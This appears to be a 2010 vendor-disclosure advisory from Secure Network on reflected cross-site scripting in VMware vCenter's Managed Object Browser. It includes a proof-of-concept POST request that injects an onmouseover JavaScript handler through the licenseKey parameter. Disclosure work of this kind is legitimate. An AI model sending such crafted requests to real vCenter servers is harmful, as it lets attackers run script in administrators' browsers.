
# Security Research Advisory

## VMware Managed Object Browser
## Multiple Cross-Site Scripting Vulnerabilities

# Table of Contents

| Multiple Reflected Cross-Site Scripting (XSS) | | | | | Advisory Number |
|---|---|---|---|---|---|
| | | | | | SN-10-04 |
| Severity | Software | Version(s) | Accessibility | CVE | Author(s) |
|  | VMware vSphere vCenter Server | n./d. | Remote | - | Claudio Criscione |
| | Vendor URL | | Advisory URL | | |
| | http://www.vmware.com | | - | | |

| Date | Details |
|---|---|
| 21/05/2010 | Vendor disclosure |
| n./d. | Vendor acknowledgment |
| n./d. | Patch release |
| n./d. | Public disclosure |

# Summary

VMware Managed Object Browser (MOB) is a web-based tool for working with VMware's APIs. MOB lets users browse managed objects on VirtualCenter Server and ESX Server systems. MOB is installed by default during the installation of vSphere vCenter Server and is accessible by any clients on the local network, usually on port 8080.

Multiple XSS vulnerabilities were detected in VMware MOB, allowing a potential attacker to inject arbitrary client-side code.

# Vulnerability Details

Due to lack of input validation, multiple vulnerabilities were found. A potential attacker could craft malicious URL in order to inject javascript code and compromise victim's browser. The official vSphere Hardening Guide already suggests deactivating or restricting access to the Managed Object Browser web interface – see Code VSC07. On some browsers, XSS attacks can affect data from services running on different ports

# Technical Details

## Description

Multiple endpoints were found to be vulnerable, as per the following PoC.

XSS PoC:

```
POST /mob/?moid=LicenseManager&method=decodeLicense HTTP/1.1
Host: HOSTIP
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://HOSTIP
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

licenseKey=pippo%22+onmouseover%3D%22alert%281%29%22
```

# Legal Notices

Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.



The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.



| | |
|---|---|
| **e-mail** | info@securenetwork.it |
| **phone** | +39 02 917 730 41 |